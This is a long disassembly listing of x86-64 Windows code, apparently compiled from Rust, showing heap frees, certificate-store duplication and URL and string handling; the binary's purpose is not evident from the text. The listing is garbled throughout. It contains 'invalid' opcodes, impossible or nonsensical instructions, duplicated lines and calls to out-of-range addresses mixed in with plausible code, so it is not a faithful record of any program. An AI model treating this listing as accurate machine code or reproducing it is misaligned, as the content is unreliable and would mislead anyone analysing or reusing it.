cmp rbx, 2
jne 0x14005b42d
lea rcx, [rsp + 0x40]
call fcn.140057820
mov qword [rsi], 2
cmp qword [rsp + 0xc0], 0
je 0x14005b41f
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x1e8
call 0x19b05b429
call 0x19b05b429
pop rdi
pop rsi
pop r14
ret
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movups xmm2, xmmword [rsp + 0x68]
movups xmm3, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x1b0], xmm3
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
movzx eax, byte [rsp + 0x88]
mov ecx, dword [rsp + 0x89]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x8c]
mov dword [rsp + 0x3b], ecx
test rbx, rbx
cmp al, 2
jne 0x14005b4c3
mov al, 2
cmp byte [rdi + 0x30], 2
je 0x14005b4a9
lea rdx, [rdi + 0x28]
mov rax, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
lea rcx, [rsp + 0x40]
call qword [rax]
movzx eax, byte [rdi + 0x30]
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1a0], xmm0
mov qword [rsi], rbx
movaps xmm0, xmmword [rsp + 0x180]
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x190], cl
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x190], cl
movaps xmm2, xmmword [rsp + 0x1a0]
movaps xmm3, xmmword [rsp + 0x1b0]
movups xmmword [rsi + 8], xmm0
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x38], xmm3
mov byte [rsi + 0x48], al
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3b]
mov dword [rsi + 0x49], eax
mov dword [rsi + 0x4c], ecx
cmp qword [rsp + 0xc0], 0
jne 0x14005b408
jmp 0x14005b41f
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0xc0], al
lea rax, [0x140144458]
mov qword [rsp + 0x20], rax
lea rcx, str.should_be_valid_Url
lea r9, [0x14013f928]
lea r8, [rsp + 0xc0]
mov edx, 0x13
call fcn.1401088e0
lea rax, [0x140172938]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_string.rs
lea r9, [0x14013fa08]
lea r8, [rsp + 0xc0]
mov edx, 0x37
add byte [rax], al
add al, ch
xor ebx, edx
or al, byte [rax]
add byte [rax], al
add al, ch
xor ebx, edx
or al, byte [rax]
int3
mov esi, ecx
mov r15, qword [rdx]
movzx r14d, byte [rdx + 8]
movzx ebp, byte [rdx + 9]
push 9
push 9
mov rax, qword [r8 + 0x50]
mov qword [rsp + 0x70], rax
jo 0x14005b619
movups xmm0, xmmword [rax + 0x40]
jo 0x14005b619
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movups xmm2, xmmword [r8 + 0x20]
movups xmm3, xmmword [r8 + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
xor byte [rdi], cl
sub dword [rsp + 0x20], eax
invalid
xor byte [rdi], cl
sub dword [rsp + 0x20], eax
cmp r15, 3
inc dword [rbx]
jne 0x14005b676
cmp byte [rsp + 0x20], 2
jb case.0x140031ef2.1418
mov rdi, qword [rsp + 0x28]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
sub byte [rax - 0x73], cl
sbb byte [r8 - 0x75], r9b
invalid
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
call qword [rax + 0x10]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
invalid
call qword [rax + 0x10]
mov edi, 3
jmp 0x14005b78e
add byte [rax], al
invalid
add byte [rax], al
mov rdi, r8
add rdx, 0xa
lea rbx, [rsp + 0x8a]
lea ebx, [rsp + 0x8a]
lea ebx, [rsp + 0x8a]
mov r8d, 0xd6
mov rcx, rbx
call fcn.140106530
add byte [rax], al
add byte [rax - 0x77], cl
fld1
popfq
scasb al, byte [rdi]
or al, byte [rax]
mov qword [rsp + 0x80], r15
mov byte [rsp + 0x88], r14b
mov byte [rsp + 0x89], bpl
add byte [rax + 0xe024bc], al
add byte [rax], al
add dh, byte [rdx + 0x2c]
add byte [rax + 0xe024bc], al
add byte [rax], al
add dh, byte [rdx + 0x2c]
mov r14, qword [rsp + 0xe8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x108]
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
call qword [rax + 0x10]
lea rcx, [rsp + 0x128]
mov rax, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x120]
call qword [rax + 0x10]
mov rax, qword [rdi + 0x50]
mov qword [rbx + 0xa6], rax
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rbx + 0x96], xmm0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movups xmmword [rbx + 0x86], xmm3
movups xmmword [rbx + 0x76], xmm2
movups xmmword [rbx + 0x66], xmm1
movups xmmword [rbx + 0x56], xmm0
mov rdi, qword [rsp + 0x80]
movzx r14d, byte [rsp + 0x88]
movzx ebp, byte [rsp + 0x89]
lea rcx, [rsp + 0x162]
mov r8d, 0xd6
mov rdx, rbx
call fcn.140106530
mov qword [rsi], rdi
mov byte [rsi + 8], r14b
mov byte [rsi + 9], bpl
add rsi, 0xa
lea rdx, [rsp + 0x162]
mov r8d, 0xd6
mov rcx, rsi
call fcn.140106530
nop
add rsp, 0x238
cmp byte [rdx], al
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov edi, dword [rsi + 0x28]
mov r14d, 8
mov r15d, 8
test rdi, rdi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
je 0x14005baf8
dec dword [rax - 0x77]
je 0x14005b964
xor byte [rax - 0x77], cl
jl 0x14005b969
sub byte [rdi], cl
test byte [rcx + rax - 0x47b80000], ch
cmp al, 0xb1
adc edi, dword [rbx]
mov cl, 0x13
movabs rax, 0x13b13b13b13b13c
cmp eax, dword [rcx]
cmp rdi, rax
jae 0x14005bc24
mov rbx, qword [rsi + 0x20]
mov ebx, dword [rsi + 0x20]
imul rdx, rdi, 0x68
imul edx, edi, 0x68
movzx eax, byte [0x140182310]
add eax, 0x1269a2
movabs byte [0x548948c931001269], al
and al, 0x40
xor ecx, ecx
mov qword [rsp + 0x40], rdx
call fcn.1400df910
call fcn.1400df910
test rax, rax
je 0x14005bc29
mov r15, rax
lea r13, [rbx + 0x58]
xor esi, esi
lea rcx, [rsp + 0x48]
jmp 0x14005ba5c
nop word cs:[rax + rax]
add byte [rax], al
movups xmm0, xmmword [r13 - 0x50]
mov ecx, 1
dec rdi
add rbx, 0x68
mov rdx, qword [rsp + 0xaf]
mov qword [rsp + 0x8f], rdx
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x80], xmm1
movups xmm1, xmmword [rsp + 0x48]
movups xmm2, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
mov qword [r15 + rsi], rcx
movups xmmword [r15 + rsi + 8], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movups xmmword [r15 + rsi + 0x18], xmm0
movups xmmword [r15 + rsi + 0x28], xmm1
mov byte [r15 + rsi + 0x38], al
mov qword [r15 + rsi + 0x40], rbp
mov byte [r15 + rsi + 0x48], r12b
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [r15 + rsi + 0x49], xmm0
mov rax, qword [rsp + 0x8f]
mov qword [r15 + rsi + 0x58], rax
movzx eax, word [rsp + 0x38]
mov word [r15 + rsi + 0x60], ax
add r13, 0x68
add rsi, 0x68
test rdi, rdi
lea rcx, [rsp + 0x48]
je 0x14005baee
cmp qword [rsp + 0x40], rsi
je 0x14005baee
movzx eax, word [rbx + 0x60]
mov word [rsp + 0x38], ax
mov rax, qword [rbx + 0x40]
test rax, rax
je 0x14005bac0
mov r8, qword [r13 - 0x10]
mov r9, qword [r13 - 8]
lea rcx, [rsp + 0x48]
mov rdx, r13
call qword [rax]
lea rcx, [rsp + 0x48]
mov rbp, qword [rsp + 0x48]
movzx r12d, byte [rsp + 0x50]
lea rax, [rsp + 0x51]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rax + 0xf]
mov qword [rsp + 0xaf], rax
jmp 0x14005bac7
movzx r12d, byte [r13 - 0x10]
xor ebp, ebp
lea rdx, [rbx + 0x30]
mov rax, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
mov r9, qword [rbx + 0x28]
call qword [rax]
movzx eax, byte [rbx + 0x38]
cmp qword [rbx], 0
jne 0x14005b9a0
xor ecx, ecx
jmp 0x14005b9aa
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsi + 0x40]
test rbp, rbp
je 0x14005bbca
movabs rax, 0x1c71c71c71c71c8
cmp rbp, rax
jae 0x14005bc24
mov rdi, qword [rsi + 0x38]
lea rax, [rbp*8]
lea r12, [rax + rax*8]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400df910
test rax, rax
je 0x14005bc38
mov r14, rax
xor ebx, ebx
lea r13, [rsp + 0x48]
mov qword [rsp + 0x38], rbp
nop word cs:[rax + rax]
cmp r12, rbx
je 0x14005bbbb
lea rsi, [rdi + 0x48]
mov rax, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
lea rdx, [rdi + 0x38]
mov r9, qword [rdi + 0x30]
mov rcx, r13
call qword [rax]
movzx eax, byte [rdi + 0x40]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [r14 + rbx], xmm0
movups xmmword [r14 + rbx + 0x10], xmm1
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [r14 + rbx + 0x20], xmm0
movups xmmword [r14 + rbx + 0x30], xmm1
mov byte [r14 + rbx + 0x40], al
add rbx, 0x48
mov rdi, rsi
dec rbp
jne 0x14005bb60
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x38]
movups xmm0, xmmword [rsi]
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsp + 0x78]
movzx edx, word [rsp + 0x26]
mov word [rcx + 0x58], dx
mov rdx, qword [rsp + 0x68]
mov qword [rcx + 0x48], rdx
mov rdx, qword [rsp + 0x70]
mov qword [rcx + 0x50], rdx
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x20], r15
mov qword [rcx + 0x28], rdi
mov qword [rcx + 0x30], rbp
mov qword [rcx + 0x38], r14
mov qword [rcx + 0x40], rbp
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140010970
mov ecx, 8
mov rdx, qword [rsp + 0x40]
call fcn.1401082a0
mov ecx, 8
mov rdx, r12
call fcn.1401082a0
int3
add byte [rax], al
call fcn.140102180
sub rsp, rax
movaps xmmword [rsp + 0x19f0], xmm8
movaps xmmword [rsp + 0x19e0], xmm7
sub dword [rsp + 0x19e0], edi
sub dword [rsp + 0x19e0], edi
movaps xmmword [rsp + 0x19d0], xmm6
mov qword [rsp + 0x78], r8
mov rdi, rdx
movzx eax, byte [rdx + 0xbd0]
test eax, eax
mov qword [rsp + 0x360], rcx
je 0x14005caef
cmp eax, 3
jne case.default.0x14005cae1
lea rax, [rdi + 0x728]
mov qword [rsp + 0x88], rax
movzx eax, byte [rdi + 0x728]
lea rbp, [rdi + 0x4e8]
lea rcx, [0x1401784c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0x618]
jmp 0x14005ce07
lea rcx, [rdi + 0x248]
mov r8d, 0x118
mov rdx, rdi
call fcn.140106530
lea rcx, [rdi + 0x360]
lea rdx, [rdi + 0x118]
mov r8d, 0x100
call fcn.140106530
movdqu xmm0, xmmword [rdi + 0x218]
movdqu xmm1, xmmword [rdi + 0x228]
movdqu xmm2, xmmword [rdi + 0x238]
movdqu xmmword [rdi + 0x460], xmm0
movdqu xmmword [rdi + 0x470], xmm1
movdqu xmmword [rdi + 0x480], xmm2
movzx ebx, byte [rdi + 0x3c0]
test ebx, ebx
je 0x14005cb66
cmp ebx, 1
jne 0x14005cb68
movzx ebp, byte [rdi + 0x3c1]
jmp 0x14005cba3
jmp 0x14005cba3
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062169
mov rsi, rax
mov rax, qword [rdi + 0x3c8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
lea rdx, [rdi + 0x3e8]
mov rax, qword [rdi + 0x3d0]
mov r8, qword [rdi + 0x3d8]
mov r9, qword [rdi + 0x3e0]
lea rcx, [rsp + 0x3f0]
call qword [rax]
lea rdx, [rdi + 0x408]
mov rax, qword [rdi + 0x3f0]
mov r8, qword [rdi + 0x3f8]
mov r9, qword [rdi + 0x400]
add al, 0
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add bh, bh
adc byte [rdi], cl
mov bh, 0x87
adc byte [rax + rax], al
add al, 0
invalid
add al, 0
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add bh, bh
adc byte [rdi], cl
mov bh, 0x87
adc byte [rax + rax], al
add al, 0
add al, 0
add byte [rax + 0x4909f], cl
add byte [rax - 0x78], al
scasd eax, dword [rdi]
xchg ecx, eax
add al, 0
add byte [rax - 0x77], cl
mov bh, 0x98
mov byte [rdi + 0x490], bl
mov byte [rdi + 0x491], bpl
mov qword [rdi + 0x498], rsi
add al, 0
invalid
add al, 0
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x3f0]
movups xmm0, xmmword [rsp + 0x3f0]
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x400], cl
add byte [rax], al
movups xmm1, xmmword [rsp + 0x400]
add byte [rax], al
movups xmmword [rdi + 0x4a0], xmm0
adc dword [rdi + 0x4a0], eax
add byte [rdi], cl
movups xmmword [rdi + 0x4b0], xmm1
adc dword [rdi + 0x4b0], ecx
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
invalid
and al, 0x20
add dword [rax], eax
add bl, dh
movq mm1, qword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
invalid
mov word [rax + rsi], fs
add dword [rax], eax
add bl, dh
movq qword [rdi + 0x4c0], mm0
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
movdqu xmmword [rdi + 0x4c0], xmm0
add byte [rax], al
movdqu xmmword [rdi + 0x4d0], xmm1
mov word [rdi + 0x4e0], ax
jmp 0x14005cce2
add byte [rax], al
add al, 0
add cl, ch
mov word [rax], es
add byte [rax], al
mov qword [rsp + 0x60], rbp
mov rbp, qword [rdi + 0x7a8]
jmp 0x1400602b7
lea rax, [rdi + 0x9d0]
ror byte [rcx], 1
add byte [rax], al
mov qword [rsp + 0x368], rax
movzx eax, byte [rdi + 0x9d0]
lea r12, [rdi + 0x730]
lea esp, [rdi + 0x730]
lea esp, [rdi + 0x730]
lea rcx, [0x1401784d4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0x760]
jmp 0x14005ce78
mov qword [rsp + 0x60], rbp
jmp 0x14005e48c
mov qword [rsp + 0x60], rbp
jmp 0x14005df03
mov rbx, qword [rsp + 0x78]
jmp 0x14005da37
lea rcx, [0x140141140]
call fcn.140108b60
lea rcx, [0x140141068]
call fcn.140108b60
lea rcx, [0x140141128]
call fcn.140108b60
lea r14, [rdi + 0x248]
lea rdx, [rdi + 0x360]
lea rcx, [rsp + 0x120]
mov r8d, 0x100
call fcn.140106530
movzx ebp, byte [rdi + 0x460]
test ebp, ebp
je 0x14005cd58
cmp ebp, 2
jne 0x14005cd50
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062169
mov rsi, rax
mov rax, qword [rdi + 0x468]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
jmp 0x14005cd58
movzx r15d, byte [rdi + 0x461]
lea rdx, [rdi + 0x488]
mov rax, qword [rdi + 0x470]
mov r8, qword [rdi + 0x478]
mov r9, qword [rdi + 0x480]
lea rcx, [rsp + 0xe80]
call qword [rax]
lea rbx, [rsp + 0x18d0]
lea rdx, [rsp + 0x120]
mov r8d, 0x100
mov rcx, rbx
call fcn.140106530
lea r12, [rdi + 0x4e8]
mov r8d, 0x100
mov rcx, r12
mov rdx, rbx
call fcn.140106530
mov byte [rdi + 0x5e8], bpl
mov rbp, r12
mov byte [rdi + 0x5e9], r15b
mov qword [rdi + 0x5f0], rsi
movups xmm0, xmmword [rsp + 0xe80]
movups xmm1, xmmword [rsp + 0xe90]
movups xmmword [rdi + 0x5f8], xmm0
movups xmmword [rdi + 0x608], xmm1
mov qword [rdi + 0x618], r14
lea rax, [rdi + 0x728]
mov qword [rsp + 0x88], rax
mov byte [rdi + 0x728], 0
mov qword [rdi + 0x620], r14
mov byte [rdi + 0x729], 1
lea rcx, [rdi + 0x628]
mov r8d, 0x100
mov rdx, rbp
call fcn.140106530
lea r12, [rdi + 0x730]
movups xmm0, xmmword [rdi + 0x5e8]
movups xmm1, xmmword [rdi + 0x5f8]
movups xmm2, xmmword [rdi + 0x608]
movups xmmword [rdi + 0x730], xmm0
movups xmmword [rdi + 0x740], xmm1
movups xmmword [rdi + 0x750], xmm2
mov qword [rdi + 0x760], r14
lea rax, [rdi + 0x9d0]
mov qword [rsp + 0x368], rax
mov byte [rdi + 0x9d0], 0
mov word [rdi + 0x9d6], 0
mov dword [rdi + 0x9d2], 0
mov qword [rdi + 0x768], r14
lea rsi, [rdi + 0x770]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0x10]
movdqu xmm2, xmmword [r12 + 0x20]
movdqu xmmword [rdi + 0x770], xmm0
movdqu xmmword [rdi + 0x780], xmm1
movdqu xmmword [rdi + 0x790], xmm2
movzx ebx, byte [rdi + 0x770]
test ebx, ebx
je 0x14005cf22
cmp ebx, 2
jne 0x14005cf17
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062169
mov rcx, qword [rdi + 0x778]
lea rdx, [rcx + 0x18]
mov r10, qword [rcx]
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov qword [rsp + 0x7c8], rax
mov rcx, rax
call qword [r10]
jmp 0x14005cf22
movzx eax, byte [rdi + 0x771]
mov byte [rsp + 0x4c], al
lea rdx, [rdi + 0x798]
mov rax, qword [rdi + 0x780]
mov r8, qword [rdi + 0x788]
mov r9, qword [rdi + 0x790]
lea rcx, [rsp + 0x120]
call qword [rax]
mov rcx, qword [r14 + 0x108]
test rcx, rcx
je 0x14005cf5e
lock inc qword [rcx]
jle case.0x14005cae1.2
mov dword [rsp + 0x40], ebx
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xd40], xmm1
movaps xmmword [rsp + 0xd30], xmm0
mov rbx, qword [rdi + 0x768]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movdqu xmm2, xmmword [rsi + 0x20]
movdqa xmmword [rsp + 0x5d0], xmm2
movaps xmmword [rsp + 0x5c0], xmm1
movaps xmmword [rsp + 0x5b0], xmm0
mov r14, qword [rbx + 0x68]
test r14, r14
je 0x14005cfcd
mov rax, qword [rbx + 0x70]
mov qword [rsp + 0x7e8], rax
lock inc qword [r14]
jle case.0x14005cae1.2
mov r13, rbp
mov r15, qword [rbx + 0x108]
test r15, r15
je 0x14005cfe6
lock inc qword [r15]
jle case.0x14005cae1.2
mov rbp, r12
mov rsi, qword [rbx + 0x68]
test rsi, rsi
je 0x14005d008
mov rax, qword [rbx + 0x70]
mov qword [rsp + 0x7e0], rax
lock inc qword [rsi]
jle case.0x14005cae1.2
movzx edx, byte [rbx + 0x81]
movsd xmm6, qword [rbx + 0x78]
mov rax, qword [rbx]
mov qword [rsp + 0x320], rax
mov rax, qword [rbx + 8]
mov qword [rsp + 0x878], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x870], rax
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x868], rax
movzx r8d, byte [rbx + 0x64]
movsd xmm7, qword [rbx + 0x58]
mov r9d, dword [rbx + 0x60]
mov eax, dword [rbx + 0x48]
mov dword [rsp + 0x74], eax
mov rax, qword [rbx + 0x40]
mov qword [rsp + 0x860], rax
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x858], rax
mov eax, dword [rbx + 0x38]
mov dword [rsp + 0x32c], eax
movzx r10d, byte [rbx + 0x65]
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0x848], rax
mov rax, qword [rbx + 0x28]
mov qword [rsp + 0x840], rax
mov rax, qword [rbx + 0x50]
mov qword [rsp + 0x850], rax
movzx r11d, byte [rbx + 0x80]
movzx eax, byte [rbx + 0x112]
mov r12, qword [rbx + 0xa8]
mov qword [rsp + 0x838], r12
lock inc qword [r12]
jle case.0x14005cae1.2
mov byte [rsp + 0x53], r11b
mov byte [rsp + 0x54], r10b
mov dword [rsp + 0x328], r9d
mov byte [rsp + 0x55], r8b
mov byte [rsp + 0x56], dl
mov byte [rsp + 0x57], al
mov qword [rsp + 0x830], rcx
mov r12, qword [rbx + 0xb0]
mov rax, qword [rbx + 0xb8]
mov qword [rsp + 0x828], rax
lock inc qword [r12]
jle case.0x14005cae1.2
xor eax, eax
cmp qword [rbx + 0x88], 0
je 0x14005d13a
mov rcx, qword [rbx + 0x90]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x7d8], rax
mov eax, 1
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x820], r12
mov qword [rsp + 0x30], rbp
mov rcx, qword [rbx + 0x98]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x810], rax
movzx eax, byte [rbx + 0xa4]
mov byte [rsp + 0x52], al
movzx eax, byte [rbx + 0xa5]
mov byte [rsp + 0x51], al
movsd xmm8, qword [rbx + 0xa0]
mov rbp, qword [rbx + 0xf8]
lock inc qword [rbp]
jle case.0x14005cae1.2
movzx eax, byte [rbx + 0x100]
mov byte [rsp + 0x50], al
mov r12d, dword [rbx + 0xc8]
cmp r12d, 0x3b9aca00
je 0x14005d1bf
mov rax, qword [rbx + 0xc0]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x808], rsi
movzx eax, byte [rbx + 0x101]
mov byte [rsp + 0x4f], al
movzx eax, byte [rbx + 0x102]
mov byte [rsp + 0x4e], al
mov al, 2
cmp byte [rbx + 0xf0], 2
je 0x14005d215
lea rdx, [rbx + 0xe8]
mov rax, qword [rbx + 0xd0]
mov r8, qword [rbx + 0xd8]
mov r9, qword [rbx + 0xe0]
lea rcx, [rsp + 0x120]
call qword [rax]
movzx eax, byte [rbx + 0xf0]
mov byte [rsp + 0x4d], al
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rsp + 0xa10], xmm1
movdqu xmmword [rsp + 0xa00], xmm0
movzx esi, byte [rsp + 0x5b0]
test esi, esi
je 0x14005d294
cmp esi, 2
jne 0x14005d28c
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062169
mov rbx, rax
mov rax, qword [rsp + 0x5b8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
jmp 0x14005d294
movzx eax, byte [rsp + 0x5b1]
mov qword [rsp + 0x7f0], rbp
mov qword [rsp + 0x7f8], r15
mov qword [rsp + 0x800], r14
mov r15d, dword [rsp + 0x40]
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x330], sil
mov byte [rsp + 0x331], al
mov qword [rsp + 0x338], rbx
lea r14, [rsp + 0x340]
lea rdx, [rsp + 0x5d8]
mov rax, qword [rsp + 0x5c0]
mov r8, qword [rsp + 0x5c8]
mov r9, qword [rsp + 0x5d0]
mov rcx, r14
call qword [rax]
movzx esi, byte [rsp + 0x330]
movzx r13d, byte [rsp + 0x331]
movzx ebp, byte [rsp + 0x332]
mov rbx, qword [rsp + 0x338]
movups xmm0, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0x400], xmm0
movups xmm0, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x3f0], xmm0
cmp esi, 4
je 0x1400621a8
movzx eax, byte [rsp + 0x337]
mov byte [rsp + 0x127], al
mov eax, dword [rsp + 0x333]
mov dword [rsp + 0x123], eax
mov qword [rsp + 0x128], rbx
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x130], xmm0
movups xmmword [rsp + 0x140], xmm1
mov qword [rsp + 0x150], 0
mov byte [rsp + 0x120], sil
mov byte [rsp + 0x121], r13b
mov byte [rsp + 0x122], bpl
movzx eax, byte [0x140182310]
mov edx, 1
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14006223b
mov byte [rax], 0x2f
mov rcx, rax
or rcx, 1
test al, 1
cmovne rcx, rax
lea rdx, [0x14012a090]
lea r8, [0x14012a0a8]
cmove r8, rdx
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x5f0], 1
mov qword [rsp + 0x5f8], rcx
mov qword [rsp + 0x5e0], r8
lea rcx, [rsp + 0xfa0]
lea rdx, [rsp + 0x5e0]
call fcn.1400332b0
mov rax, qword [rsp + 0xfa0]
movzx r14d, byte [rsp + 0xfa8]
test rax, rax
je 0x14006224a
lea rcx, [rsp + 0x123]
movzx edx, byte [rsp + 0xfa9]
movups xmm0, xmmword [rsp + 0xfb8]
movups xmmword [rsp + 0x5ee], xmm0
movups xmm0, xmmword [rsp + 0xfaa]
movaps xmmword [rsp + 0x5e0], xmm0
mov qword [rsp + 0x150], rax
mov byte [rsp + 0x158], r14b
mov byte [rsp + 0x159], dl
movaps xmm0, xmmword [rsp + 0x5e0]
movups xmmword [rsp + 0x15a], xmm0
movups xmm0, xmmword [rsp + 0x5ee]
movups xmmword [rsp + 0x168], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x3f0], xmm0
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x410], xmm2
movaps xmmword [rsp + 0x420], xmm3
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x430], xmm0
mov rax, qword [rcx + 0x4d]
mov qword [rsp + 0x43d], rax
movaps xmm0, xmmword [rsp + 0x3f0]
movaps xmm1, xmmword [rsp + 0x400]
movaps xmm2, xmmword [rsp + 0x410]
movaps xmm3, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x600], xmm0
movaps xmmword [rsp + 0x610], xmm1
movaps xmmword [rsp + 0x620], xmm2
movaps xmmword [rsp + 0x630], xmm3
movaps xmm0, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x43d]
mov qword [rsp + 0x64d], rax
mov rax, qword [rsp + 0x64d]
mov qword [rsp + 0x440], rax
movaps xmm0, xmmword [rsp + 0x640]
movups xmmword [rsp + 0x433], xmm0
movaps xmm0, xmmword [rsp + 0x600]
movaps xmm1, xmmword [rsp + 0x610]
movaps xmm2, xmmword [rsp + 0x620]
movaps xmm3, xmmword [rsp + 0x630]
movups xmmword [rsp + 0x423], xmm3
movups xmmword [rsp + 0x413], xmm2
